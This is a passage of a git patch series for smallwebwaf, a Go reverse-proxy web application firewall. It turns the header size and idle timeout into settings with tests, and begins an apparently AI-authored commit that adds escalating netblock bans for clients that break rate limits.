-https://git.eeqj.de/sneak/smallwebwaf/issues/14), and so are the static lists, -which come next in the build order. `smallwebwaf` passes each request to the app -and the app's answer back, unchanged, within its timeouts and size limits, works -out each client's address, refuses a client that sends too many requests, comes -from a country you refuse or from a network you refuse, lets the networks you -choose through, and writes a JSON log line for every request. It comes as the -image the app's own image is built on. The rest of the design comes after that, -in the order of the build order in [`SPEC.md`](SPEC.md). The survey of existing -tools that led to the design is in [`EVALUATION.md`](EVALUATION.md). +https://git.eeqj.de/sneak/smallwebwaf/issues/14), and so are two parts of +milestone 3: the static lists, which come next in the build order, and the +header size and the idle time as settings, which come last in it. `smallwebwaf` +passes each request to the app and the app's answer back, unchanged, within its +timeouts and size limits, works out each client's address, refuses a client that +sends too many requests, comes from a country you refuse or from a network you +refuse, lets the networks you choose through, and writes a JSON log line for +every request. It comes as the image the app's own image is built on. The rest +of the design comes after that, in the order of the build order in +[`SPEC.md`](SPEC.md). The survey of existing tools that led to the design is in +[`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -58,16 +60,16 @@ and `make run` builds and runs it, listening on port 8080 in front of an app at is inside, the leftmost is, and with no header the peer is. The app sees what it would see from traefik directly: the same `Host`, the same `X-Forwarded-Proto`, and `X-Forwarded-For` with the peer added at the end. -- Enforces the four timeouts and the two size limits below. A limit passed - before the response has started gets `smallwebwaf`'s own answer: `408` for a - client too slow to send its request, `413` for a request body that is too - large, `504` for an app too slow to answer, and `502` for a response that is - too large or an app that cannot be reached. A request that announces a body - over the limit is refused before anything reaches the app. While a request - body is still on its way, a request timeout that runs out answers `408` if - `smallwebwaf` was waiting for the client to send more, and `504` if it was - waiting for the app to take what it had. Once the response has started, a - limit can only cut the connection. +- Enforces the timeouts and the size limits below. A limit passed before the + response has started gets `smallwebwaf`'s own answer: `408` for a client too + slow to send its request, `413` for a request body that is too large, `504` + for an app too slow to answer, and `502` for a response that is too large or + an app that cannot be reached. A request that announces a body over the limit + is refused before anything reaches the app. While a request body is still on + its way, a request timeout that runs out answers `408` if `smallwebwaf` was + waiting for the client to send more, and `504` if it was waiting for the app + to take what it had. Once the response has started, a limit can only cut the + connection. - Counts each client's requests over a minute, an hour and a day. A request that takes the client over one of the rate limits below is refused with `429` before anything reaches the app, and so is each request after it until the @@ -113,6 +115,16 @@ it, and the effective settings are logged at start. - `SWWAF_CLIENT_REQUEST_TIMEOUT` (default `60s`): how long a client may take to send its request line and headers, and then, from the end of the headers, its body. +- `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` (default `32K`): the largest request + line and headers a client may send. Over it, the answer is `431` and nothing + reaches the app. It must be more than `4K`, and cannot be `off`: Go's HTTP + server always has such a limit, and reads 4 KiB past the one it is given + before it refuses. +- `SWWAF_CLIENT_IDLE_TIMEOUT` (default `120s`): how long a kept-open connection + may wait for its next request before `smallwebwaf` closes it. The default is + longer than the 90 seconds after which traefik closes a connection it is not + using, so traefik never sends a request on a connection `smallwebwaf` is + closing. - `SWWAF_CLIENT_RESPONSE_TIMEOUT` (default `30m`): how long the response may take to reach the client, from the end of the request to the last byte. - `SWWAF_UPSTREAM_REQUEST_TIMEOUT` (default `60s`): how long connecting to the @@ -145,16 +157,13 @@ and a bare address stands for itself alone. Countries are the two-letter codes ISO 3166-1 assigns today, and `xk` for Kosovo, in either case (`de` and `DE` are the same); any other code, such as `nk` (North Korea is `kp`) or the withdrawn `su`, stops the start, and so does a code on both country lists. `off` switches -a timeout, a size limit or a rate limit off. +a timeout, a size limit or a rate limit off; only +`SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` cannot be off. -Several limits are fixed rather than settings. The request line and headers may -take up to 32 KiB, above which the answer is `431` and nothing reaches the app. -A kept-open connection that sends nothing for 120 seconds is closed. That is -longer than the 90 seconds after which traefik closes a connection it is not -using, so traefik never sends a request on a connection `smallwebwaf` is -closing. At most 20,000 clients are kept for the rate limits, and an IPv6 client -is counted by its /64. A new client waits at most a second for its country, and -at most 100,000 answers from GeoJS are kept, for 7 days each. +Several limits are fixed rather than settings. At most 20,000 clients are kept +for the rate limits, and an IPv6 client is counted by its /64. A new client +waits at most a second for its country, and at most 100,000 answers from GeoJS +are kept, for 7 days each. ## Request log @@ -193,10 +202,10 @@ settings, stop, errors) share the stream as JSON lines marked Go's HTTP server, on which `smallwebwaf` is built, reads a request's line and headers before `smallwebwaf` sees the request, and some requests end there, -without a line in the log: headers over 32 KiB, which it answers `431`, headers -slower than `SWWAF_CLIENT_REQUEST_TIMEOUT`, whose connection it closes without -an answer, and requests it cannot read at all, which it answers itself, mostly -with `400`. +without a line in the log: headers over `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, +which it answers `431`, headers slower than `SWWAF_CLIENT_REQUEST_TIMEOUT`, +whose connection it closes without an answer, and requests it cannot read at +all, which it answers itself, mostly with `400`. ## Why @@ -535,8 +544,9 @@ so that they run in minimal containers. ## TODO -- The rest of milestone 3, after the static lists, and the rest of the design, - in the order of the build order in [`SPEC.md`](SPEC.md). +- The rest of milestone 3, from the bans that broken request limits lead to + through the metrics endpoint, and the rest of the design, in the order of the + build order in [`SPEC.md`](SPEC.md). ## Documents diff --git a/SPEC.md b/SPEC.md index 63d236b..a289a27 100644 --- a/SPEC.md +++ b/SPEC.md @@ -293,7 +293,8 @@ it. needs: an alert destination, an account key, a token. - Every setting's name starts with `SWWAF_`, since `smallwebwaf` shares its container, and so its environment variables, with the app it protects. -- Any limit or threshold can be switched off with the value `off`. +- Any limit or threshold can be switched off with the value `off`, except + `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`. - A list set to an empty value is an empty list, and replaces the default. - Every setting may instead be given as a file holding the value, named by the setting's name with `_FILE` added, such as `SWWAF_ADMIN_TOKEN_FILE`, for @@ -413,7 +414,9 @@ The settings, by group: headers, its body. - `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` (default `32K`): the largest request line and headers a client may send. Over it, `smallwebwaf` answers - `431` and closes the connection, and nothing reaches the app. + `431` and closes the connection, and nothing reaches the app. It must be + more than `4K`, and cannot be `off`: Go's HTTP server always has such a + limit, and reads 4 KiB past the one it is given before it refuses. - `SWWAF_CLIENT_IDLE_TIMEOUT` (default `120s`): how long a kept-open connection may wait for its next request before `smallwebwaf` closes it. It is longer than the 90 seconds after which traefik, by default, closes a diff --git a/internal/config/config.go b/internal/config/config.go index b24c695..065700d 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -30,6 +30,13 @@ type Config struct { // ClientRequestTimeout bounds reading the whole request from the // client (SWWAF_CLIENT_REQUEST_TIMEOUT). ClientRequestTimeout time.Duration + // ClientRequestHeaderMaxBytes is the largest request line and headers + // a client may send (SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES). It is + // never off, and always more than 4K. + ClientRequestHeaderMaxBytes int64 + // ClientIdleTimeout bounds how long a kept-open client connection + // may wait for its next request (SWWAF_CLIENT_IDLE_TIMEOUT). + ClientIdleTimeout time.Duration // ClientResponseTimeout bounds writing the whole response to the // client (SWWAF_CLIENT_RESPONSE_TIMEOUT). ClientResponseTimeout time.Duration @@ -103,6 +110,7 @@ var ( errNotCountry = errors.New( "is not a two-letter country code such as de or kp") errOnBothLists = errors.New("is in SWWAF_DENIED_COUNTRIES too") + errNotOver4K = errors.New("is not a size of more than 4K, such as 32K") ) // FromEnvironment reads the settings with lookupEnv, normally @@ -111,10 +119,13 @@ var ( func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { env := &environment{lookupEnv: lookupEnv} cfg := &Config{ - ListenAddr: env.address("SWWAF_LISTEN_ADDR", ":8080"), - UpstreamURL: env.appURL("SWWAF_UPSTREAM_URL", "http://127.0.0.1:8081"), - TrustedProxies: env.netblocks("SWWAF_TRUSTED_PROXIES", privateRanges), - ClientRequestTimeout: env.duration("SWWAF_CLIENT_REQUEST_TIMEOUT", "60s"), + ListenAddr: env.address("SWWAF_LISTEN_ADDR", ":8080"), + UpstreamURL: env.appURL("SWWAF_UPSTREAM_URL", "http://127.0.0.1:8081"), + TrustedProxies: env.netblocks("SWWAF_TRUSTED_PROXIES", privateRanges), + ClientRequestTimeout: env.duration("SWWAF_CLIENT_REQUEST_TIMEOUT", "60s"), + ClientRequestHeaderMaxBytes: env.headerSize( + "SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES", "32K"), + ClientIdleTimeout: env.duration("SWWAF_CLIENT_IDLE_TIMEOUT", "120s"), ClientResponseTimeout: env.duration("SWWAF_CLIENT_RESPONSE_TIMEOUT", "30m"), UpstreamRequestTimeout: env.duration("SWWAF_UPSTREAM_REQUEST_TIMEOUT", "60s"), UpstreamResponseTimeout: env.duration("SWWAF_UPSTREAM_RESPONSE_TIMEOUT", "30m"), @@ -225,6 +236,15 @@ func (e *environment) size(name, defaultValue string) int64 { return size } +// headerSize reads the setting that is the largest request line and +// headers. +func (e *environment) headerSize(name, defaultValue string) int64 { + size, err := parseHeaderSize(e.value(name, defaultValue)) + e.check(name, err) + + return size +} + // count reads a setting that is a number of requests. func (e *environment) count(name, defaultValue string) int64 { count, err := parseCount(e.value(name, defaultValue)) @@ -296,6 +316,19 @@ func parseSize(value string) (int64, error) { return n * unit, nil } +// parseHeaderSize reads the largest request line and headers: a size as +// parseSize reads it, but more than 4K and never off. Go's server reads 4K +// past the limit it is given before it refuses, so proxy.New gives it this +// size less 4K, which must leave a limit. +func parseHeaderSize(value string) (int64, error) { + size, err := parseSize(value) + if err != nil || size <= 4*kibibyte { + return 0, fmt.Errorf("%q %w", value, errNotOver4K) + } + + return size, nil +} + // splitUnit splits a size into its number and the bytes its suffix // stands for. func splitUnit(value string) (string, int64) { diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 18ba065..1fabaf8 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -20,6 +20,8 @@ const ( upstreamURL = "SWWAF_UPSTREAM_URL" trustedProxies = "SWWAF_TRUSTED_PROXIES" clientRequestTimeout = "SWWAF_CLIENT_REQUEST_TIMEOUT" + clientHeaderMaxBytes = "SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES" + clientIdleTimeout = "SWWAF_CLIENT_IDLE_TIMEOUT" clientResponseTimeout = "SWWAF_CLIENT_RESPONSE_TIMEOUT" upstreamRequestTimeout = "SWWAF_UPSTREAM_REQUEST_TIMEOUT" upstreamResponseTimeout = "SWWAF_UPSTREAM_RESPONSE_TIMEOUT" @@ -66,16 +68,18 @@ func TestDefaults(t *testing.T) { cfg := fromEnvironment(t, environment{}) wantSettings(t, cfg, config.Config{ - ListenAddr: ":8080", - ClientRequestTimeout: time.Minute, - ClientResponseTimeout: 30 * time.Minute, - UpstreamRequestTimeout: time.Minute, - UpstreamResponseTimeout: 30 * time.Minute, - RequestMaxBytes: 100 << 20, - ResponseMaxBytes: 5 << 30, - RateLimitPerMinute: 1000, - RateLimitPerHour: 10000, - RateLimitPerDay: 50000, + ListenAddr: ":8080", + ClientRequestTimeout: time.Minute, + ClientRequestHeaderMaxBytes: 32 << 10, + ClientIdleTimeout: 2 * time.Minute, + ClientResponseTimeout: 30 * time.Minute, + UpstreamRequestTimeout: time.Minute, + UpstreamResponseTimeout: 30 * time.Minute, + RequestMaxBytes: 100 << 20, + ResponseMaxBytes: 5 << 30, + RateLimitPerMinute: 1000, + RateLimitPerHour: 10000, + RateLimitPerDay: 50000, }) if cfg.UpstreamURL.String() != "http://127.0.0.1:8081" { @@ -99,6 +103,8 @@ func TestValuesAsSet(t *testing.T) { upstreamURL: "https://app.internal:8443/", trustedProxies: " 192.0.2.1, 10.1.2.3/8 ,2001:db8::/32", clientRequestTimeout: "90s", + clientHeaderMaxBytes: "8K", + clientIdleTimeout: "5m", clientResponseTimeout: "7d", upstreamRequestTimeout: "1h30m", upstreamResponseTimeout: off, @@ -115,16 +121,18 @@ func TestValuesAsSet(t *testing.T) { }) wantSettings(t, cfg, config.Config{ - ListenAddr: "127.0.0.1:9000", - ClientRequestTimeout: 90 * time.Second, - ClientResponseTimeout: 7 * 24 * time.Hour, - UpstreamRequestTimeout: 90 * time.Minute, - UpstreamResponseTimeout: 0, - RequestMaxBytes: 512 << 10, - ResponseMaxBytes: 1234, - RateLimitPerMinute: 60, - RateLimitPerHour: 600, - RateLimitPerDay: 6000, + ListenAddr: "127.0.0.1:9000", + ClientRequestTimeout: 90 * time.Second, + ClientRequestHeaderMaxBytes: 8 << 10, + ClientIdleTimeout: 5 * time.Minute, + ClientResponseTimeout: 7 * 24 * time.Hour, + UpstreamRequestTimeout: 90 * time.Minute, + UpstreamResponseTimeout: 0, + RequestMaxBytes: 512 << 10, + ResponseMaxBytes: 1234, + RateLimitPerMinute: 60, + RateLimitPerHour: 600, + RateLimitPerDay: 6000, }) if cfg.UpstreamURL.String() != "https://app.internal:8443/" { @@ -163,12 +171,42 @@ func TestSizesAndOff(t *testing.T) { requestMaxBytes: "3G", responseMaxBytes: off, clientRequestTimeout: off, + clientIdleTimeout: off, }) if cfg.RequestMaxBytes != 3<<30 || cfg.ResponseMaxBytes != 0 || - cfg.ClientRequestTimeout != 0 { - t.Errorf("3G, off and off read as %d, %d and %s", - cfg.RequestMaxBytes, cfg.ResponseMaxBytes, cfg.ClientRequestTimeout) + cfg.ClientRequestTimeout != 0 || cfg.ClientIdleTimeout != 0 { + t.Errorf("3G, off, off and off read as %d, %d, %s and %s", + cfg.RequestMaxBytes, cfg.ResponseMaxBytes, cfg.ClientRequestTimeout, + cfg.ClientIdleTimeout) + } +} + +func TestRequestHeaderMaxBytesJustOver4K(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{clientHeaderMaxBytes: "4097"}) + if cfg.ClientRequestHeaderMaxBytes != 4097 { + t.Errorf("4097 read as %d", cfg.ClientRequestHeaderMaxBytes) + } +} + +func TestRequestHeaderMaxBytesRefusalNeverOffersOff(t *testing.T) { + t.Parallel() + + for _, value := range []string{"32KB", "0", "4K", off} { + t.Run(value, func(t *testing.T) { + t.Parallel() + + _, err := config.FromEnvironment( + environment{clientHeaderMaxBytes: value}.lookupEnv) + + want := clientHeaderMaxBytes + `: "` + value + + `" is not a size of more than 4K, such as 32K` + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + }) } } @@ -222,6 +260,8 @@ func TestInvalidValueStopsTheStart(t *testing.T) { {denyNets, "198.51.100.0/24,"}, {clientRequestTimeout, "60"}, {clientRequestTimeout, ""}, + {clientIdleTimeout, "0s"}, + {clientIdleTimeout, "2 minutes"}, {clientResponseTimeout, "1y"}, {upstreamRequestTimeout, "-1s"}, {upstreamResponseTimeout, "0s"}, @@ -289,6 +329,8 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { upstreamURL: "http://127.0.0.1:8081", trustedProxies: "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16", clientRequestTimeout: "45s", + clientHeaderMaxBytes: "32K", + clientIdleTimeout: "120s", clientResponseTimeout: "30m", upstreamRequestTimeout: "60s", upstreamResponseTimeout: "30m", @@ -314,6 +356,8 @@ func wantSettings(t *testing.T, got *config.Config, want config.Config) { if got.ListenAddr != want.ListenAddr || got.ClientRequestTimeout != want.ClientRequestTimeout || + got.ClientRequestHeaderMaxBytes != want.ClientRequestHeaderMaxBytes || + got.ClientIdleTimeout != want.ClientIdleTimeout || got.ClientResponseTimeout != want.ClientResponseTimeout || got.UpstreamRequestTimeout != want.UpstreamRequestTimeout || got.UpstreamResponseTimeout != want.UpstreamResponseTimeout || diff --git a/internal/proxy/passthrough_test.go b/internal/proxy/passthrough_test.go index c278a60..c8a6ad6 100644 --- a/internal/proxy/passthrough_test.go +++ b/internal/proxy/passthrough_test.go @@ -297,7 +297,7 @@ func echoAfterUpgrade(w http.ResponseWriter, r *http.Request) { } } -func TestServerHasTheFixedLimits(t *testing.T) { +func TestServerHasTheDefaultLimits(t *testing.T) { t.Parallel() cfg, err := config.FromEnvironment(func(string) (string, bool) { return "", false }) @@ -319,37 +319,48 @@ func TestServerHasTheFixedLimits(t *testing.T) { } } -func TestRefusesHeadersOver32KiB(t *testing.T) { +func TestRefusesHeadersOverTheLimit(t *testing.T) { t.Parallel() - var calls atomic.Int32 - - app := startApp(t, func(http.ResponseWriter, *http.Request) { - calls.Add(1) - }) - addr, _ := startProxy(t, app.URL, nil) - - // size counts every byte of the request: the request line, the - // headers and the blank line that ends them. - const ( - start = "GET / HTTP/1.1\r\nHost: app\r\nX-Large: " - end = "\r\n\r\n" - ) - for _, tc := range []struct { - size int - want int + name string + env map[string]string + limit int }{ - {size: 32 << 10, want: http.StatusOK}, - {size: 32<<10 + 1, want: http.StatusRequestHeaderFieldsTooLarge}, + {"by default", nil, 32 << 10}, + {"as set", map[string]string{clientHeaderMaxBytes: "8K"}, 8 << 10}, } { - conn := dial(t, addr) - send(t, conn, start+strings.Repeat("a", tc.size-len(start)-len(end))+end) - wantStatus(t, readResponse(t, conn), tc.want) - } + t.Run(tc.name, func(t *testing.T) { + t.Parallel() - if calls.Load() != 1 { - t.Errorf("the app was called %d times, want once", calls.Load()) + var calls atomic.Int32 + + app := startApp(t, func(http.ResponseWriter, *http.Request) { + calls.Add(1) + }) + addr, _ := startProxy(t, app.URL, tc.env) + + // size counts every byte of the request: the request line, + // the headers and the blank line that ends them. + const ( + start = "GET / HTTP/1.1\r\nHost: app\r\nX-Large: " + end = "\r\n\r\n" + ) + + for _, sent := range []struct{ size, want int }{ + {tc.limit, http.StatusOK}, + {tc.limit + 1, http.StatusRequestHeaderFieldsTooLarge}, + } { + conn := dial(t, addr) + send(t, conn, + start+strings.Repeat("a", sent.size-len(start)-len(end))+end) + wantStatus(t, readResponse(t, conn), sent.want) + } + + if calls.Load() != 1 { + t.Errorf("the app was called %d times, want once", calls.Load()) + } + }) } } diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index 03d27b6..157c691 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -16,19 +16,6 @@ import ( "sneak.berlin/go/smallwebwaf/internal/requestlog" ) -// The request line and headers a client may send, and how long a -// kept-open client connection may wait for its next request, are fixed -// rather than settings. The limit on the request line and headers is -// 32 KiB, but Go's server reads 4 KiB past its MaxHeaderBytes before it -// refuses, so MaxHeaderBytes is set 4 KiB lower. The idle time is longer -// than the 90 seconds after which traefik closes a connection it is not -// using, so traefik never sends a request on a connection smallwebwaf is -// closing. -const ( - requestHeaderMaxBytes = 32<<10 - 4<<10 - clientIdleTimeout = 120 * time.Second -) - // How smallwebwaf keeps connections to the app open between requests. const ( appIdleConns = 100 @@ -52,8 +39,9 @@ type Params struct { } // New returns the server smallwebwaf runs: each request it reads passes -// through the proxy. Go's server itself refuses headers over 32 KiB, with -// 431, closes a connection idle for 120 seconds, and applies +// through the proxy. Go's server itself refuses a request line and +// headers over SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES, with 431, closes a +// connection idle for SWWAF_CLIENT_IDLE_TIMEOUT, and applies // SWWAF_CLIENT_REQUEST_TIMEOUT while the headers arrive; the proxy // applies the timeouts and size limits from then on. func New(params Params) *http.Server { @@ -79,9 +67,13 @@ func New(params Params) *http.Server { }), }, ReadHeaderTimeout: params.Config.ClientRequestTimeout, - IdleTimeout: clientIdleTimeout, - MaxHeaderBytes: requestHeaderMaxBytes, - ErrorLog: errorLog, + // Off is an IdleTimeout of 0, which Go's server replaces with + // ReadTimeout: no limit, as long as ReadTimeout stays unset. + IdleTimeout: params.Config.ClientIdleTimeout, + // Go's server reads 4 KiB past MaxHeaderBytes before it refuses, + // so the limit a client meets is the setting. + MaxHeaderBytes: int(params.Config.ClientRequestHeaderMaxBytes - 4<<10), + ErrorLog: errorLog, } } diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go index ee73f05..ae355c9 100644 --- a/internal/proxy/proxy_test.go +++ b/internal/proxy/proxy_test.go @@ -45,6 +45,8 @@ var shortTimeoutSetting = shortTimeout.String() // The settings the tests set. const ( clientRequestTimeout = "SWWAF_CLIENT_REQUEST_TIMEOUT" + clientHeaderMaxBytes = "SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES" + clientIdleTimeout = "SWWAF_CLIENT_IDLE_TIMEOUT" clientResponseTimeout = "SWWAF_CLIENT_RESPONSE_TIMEOUT" upstreamRequestTimeout = "SWWAF_UPSTREAM_REQUEST_TIMEOUT" upstreamResponseTimeout = "SWWAF_UPSTREAM_RESPONSE_TIMEOUT" diff --git a/internal/proxy/timeouts_test.go b/internal/proxy/timeouts_test.go index 8a78a2b..56abe5f 100644 --- a/internal/proxy/timeouts_test.go +++ b/internal/proxy/timeouts_test.go @@ -273,3 +273,26 @@ func TestClientTooSlowToTakeTheAnswer(t *testing.T) { wantTimedOut(t, start) wantLine(t, line, http.StatusOK, requestlog.ActionTimedOut) } + +func TestClosesAnIdleConnection(t *testing.T) { + t.Parallel() + + app := startApp(t, func(http.ResponseWriter, *http.Request) {}) + addr, _ := startProxy(t, app.URL, map[string]string{ + clientIdleTimeout: shortTimeoutSetting, + }) + + // The idle time starts once the answer is sent, so after start. + start := time.Now() + conn := dial(t, addr) + send(t, conn, "GET / HTTP/1.1\r\nHost: app\r\n\r\n") + wantStatus(t, readResponse(t, conn), http.StatusOK) + + // The read deadline readResponse set still bounds this read. + _, err := conn.Read(make([]byte, 1)) + if !errors.Is(err, io.EOF) { + t.Fatalf("read on the idle connection: %v, want it closed", err) + } + + wantTimedOut(t, start) +} diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index 85a3301..a7ef08c 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -177,23 +177,25 @@ func wantStartingLine(t *testing.T, line map[string]any, appURL string) { settings, _ := line["settings"].(map[string]any) want := map[string]any{ - listenAddr: localhost + ":0", - upstreamURL: appURL, - "SWWAF_TRUSTED_PROXIES": "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16", - "SWWAF_CLIENT_REQUEST_TIMEOUT": "60s", - "SWWAF_CLIENT_RESPONSE_TIMEOUT": "30m", - "SWWAF_UPSTREAM_REQUEST_TIMEOUT": "60s", - "SWWAF_UPSTREAM_RESPONSE_TIMEOUT": "30m", - "SWWAF_REQUEST_MAX_BYTES": "100M", - "SWWAF_RESPONSE_MAX_BYTES": "5G", - "SWWAF_ALLOW_NETS": "", - "SWWAF_RATE_LIMIT_EXEMPT_NETS": "", - "SWWAF_DENY_NETS": "", - "SWWAF_RATE_LIMIT_PER_MINUTE": "1000", - "SWWAF_RATE_LIMIT_PER_HOUR": "10000", - "SWWAF_RATE_LIMIT_PER_DAY": "50000", - "SWWAF_DENIED_COUNTRIES": "", - "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES": "", + listenAddr: localhost + ":0", + upstreamURL: appURL, + "SWWAF_TRUSTED_PROXIES": "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16", + "SWWAF_CLIENT_REQUEST_TIMEOUT": "60s", + "SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES": "32K", + "SWWAF_CLIENT_IDLE_TIMEOUT": "120s", + "SWWAF_CLIENT_RESPONSE_TIMEOUT": "30m", + "SWWAF_UPSTREAM_REQUEST_TIMEOUT": "60s", + "SWWAF_UPSTREAM_RESPONSE_TIMEOUT": "30m", + "SWWAF_REQUEST_MAX_BYTES": "100M", + "SWWAF_RESPONSE_MAX_BYTES": "5G", + "SWWAF_ALLOW_NETS": "", + "SWWAF_RATE_LIMIT_EXEMPT_NETS": "", + "SWWAF_DENY_NETS": "", + "SWWAF_RATE_LIMIT_PER_MINUTE": "1000", + "SWWAF_RATE_LIMIT_PER_HOUR": "10000", + "SWWAF_RATE_LIMIT_PER_DAY": "50000", + "SWWAF_DENIED_COUNTRIES": "", + "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES": "", } for name, value := range want { From 73ca94f850d4a6cee8790e3a1d08830e07e3c322 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Tue, 6 Oct 2026 05:29:03 +0200 Subject: [PATCH 18/64] Ban the netblock of a client that breaks a rate limit, in memory (closes #18) A request over a rate limit is refused with SWWAF_BAN_RESPONSE and bans the client's netblock: an hour at first, three times the last ban when broken again within a day of its end, permanent past seven days. The ban ledger in internal/bans is checked after the static lists and before the lookup, and the requests it refuses are not counted. A ban resets the client's counters and carries notes holding the request that broke the limit, as SPEC.md now says. At most SWWAF_MAX_BANS are held. SWWAF_BAN_RESPONSE also answers SWWAF_DENY_NETS and the country lists. Judgement call: the six ban settings cannot be off. Judgement call: a permanent ban's ban_expires is "permanent". Model: opus-5-5 --- README.md | 177 +++++---- SPEC.md | 20 +- internal/bans/bans.go | 255 +++++++++++++ internal/bans/bans_test.go | 267 ++++++++++++++ internal/config/config.go | 118 +++++- internal/config/config_test.go | 61 ++++ internal/proxy/bans.go | 82 +++++ internal/proxy/bans_test.go | 434 +++++++++++++++++++++++ internal/proxy/export_test.go | 15 + internal/proxy/proxy.go | 13 + internal/proxy/proxy_test.go | 23 +- internal/proxy/ratelimits_test.go | 20 +- internal/proxy/request.go | 48 +-- internal/proxy/staticlists_test.go | 6 +- internal/ratelimit/ratelimit.go | 35 +- internal/ratelimit/ratelimit_test.go | 52 ++- internal/requestlog/requestlog.go | 13 +- internal/requestlog/requestlog_test.go | 3 +- internal/smallwebwaf/smallwebwaf.go | 1 + internal/smallwebwaf/smallwebwaf_test.go | 6 + 20 files changed, 1522 insertions(+), 127 deletions(-) create mode 100644 internal/bans/bans.go create mode 100644 internal/bans/bans_test.go create mode 100644 internal/proxy/bans.go create mode 100644 internal/proxy/bans_test.go create mode 100644 internal/proxy/export_test.go diff --git a/README.md b/README.md index c910dfd..0ae8018 100644 --- a/README.md +++ b/README.md @@ -13,16 +13,17 @@ JSON log line for every request. Status: the first two milestones are built (https://git.eeqj.de/sneak/smallwebwaf/issues/13 and -https://git.eeqj.de/sneak/smallwebwaf/issues/14), and so are two parts of -milestone 3: the static lists, which come next in the build order, and the -header size and the idle time as settings, which come last in it. `smallwebwaf` -passes each request to the app and the app's answer back, unchanged, within its -timeouts and size limits, works out each client's address, refuses a client that -sends too many requests, comes from a country you refuse or from a network you -refuse, lets the networks you choose through, and writes a JSON log line for -every request. It comes as the image the app's own image is built on. The rest -of the design comes after that, in the order of the build order in -[`SPEC.md`](SPEC.md). The survey of existing tools that led to the design is in +https://git.eeqj.de/sneak/smallwebwaf/issues/14), and so are three parts of +milestone 3: the static lists and the bans that broken rate limits lead to, +which come next in the build order, and the header size and the idle time as +settings, which come last in it. `smallwebwaf` passes each request to the app +and the app's answer back, unchanged, within its timeouts and size limits, works +out each client's address, bans a client that sends too many requests, refuses a +client that comes from a country you refuse or from a network you refuse, lets +the networks you choose through, and writes a JSON log line for every request. +It comes as the image the app's own image is built on. The rest of the design +comes after that, in the order of the build order in [`SPEC.md`](SPEC.md). The +survey of existing tools that led to the design is in [`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -71,31 +72,48 @@ and `make run` builds and runs it, listening on port 8080 in front of an app at to take what it had. Once the response has started, a limit can only cut the connection. - Counts each client's requests over a minute, an hour and a day. A request that - takes the client over one of the rate limits below is refused with `429` - before anything reaches the app, and so is each request after it until the - client is back under every limit. A client is one IPv4 address, or one IPv6 - /64, since one abuser usually holds a whole /64. Refused requests count too, - so a client that keeps sending too fast stays refused until it slows down. - Each window is counted in two fixed buckets, the earlier one weighted by how - much of it the window still covers. At most 20,000 clients are kept, the least - recently seen dropped first, and only in memory: a restart starts every client - afresh. -- Refuses a request from a country you refuse with `403`, as soon as the - client's country is known and before its body is read; such a request is not - counted for the rate limits. While one of the country lists below is set, each - client's country is looked up through GeoJS (see "Country and AS number - lookup" below); with neither set, no visitor's address leaves the host. A - client on a private, loopback or link-local address has no country and is + takes the client over one of the rate limits below is refused with + `SWWAF_BAN_RESPONSE`, `403` by default, before anything reaches the app, and + bans the client. A client is one IPv4 address, or one IPv6 /64, since one + abuser usually holds a whole /64. Each window is counted in two fixed buckets, + the earlier one weighted by how much of it the window still covers. At most + 20,000 clients are kept, the least recently seen dropped first, and only in + memory: a restart starts every client afresh. +- Bans a client that breaks a rate limit, as "Bans" in [`SPEC.md`](SPEC.md) + describes: the first ban lasts an hour, and a limit broken again within a day + of a ban ending bans for three times as long as that ban, so 1, 3, 9, 27 and + 81 hours; a ban that would last longer than seven days is permanent instead. A + ban covers the client's netblock: its IPv4 address, or the netblock around it + that `SWWAF_BAN_SCOPE_V4_PREFIX` sets, or its IPv6 /64. While it lasts, every + request from the netblock is refused with `SWWAF_BAN_RESPONSE` after the + static lists and before the country lists, so the client is not looked up, and + is not counted for the rate limits. A ban sets the client's counters back to + zero. Each ban carries notes for deciding whether to lift it: the limit, its + window and the requests counted in it, the request that broke it, the client's + country when it was looked up, how many requests the ban has refused, and how + many bans the netblock had before. At most `SWWAF_MAX_BANS` bans are kept, + past, active and permanent; past that, the earliest ban of the netblock that + has gone longest without a request is dropped first. Bans and their notes are + kept in memory only, so a restart lifts every ban, and nothing shows them yet: + `bans.json`, which shows them and lets you lift a ban, comes with the state + files (https://git.eeqj.de/sneak/smallwebwaf/issues/17). +- Refuses a request from a country you refuse with `SWWAF_BAN_RESPONSE`, as soon + as the client's country is known and before its body is read; such a request + is not counted for the rate limits. While one of the country lists below is + set, each client's country is looked up through GeoJS (see "Country and AS + number lookup" below); with neither set, no visitor's address leaves the host. + A client on a private, loopback or link-local address has no country and is never looked up: `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` refuses it unless it is in `SWWAF_ALLOW_NETS`, and `SWWAF_DENIED_COUNTRIES` does not refuse it. - Checks the client's own address against the 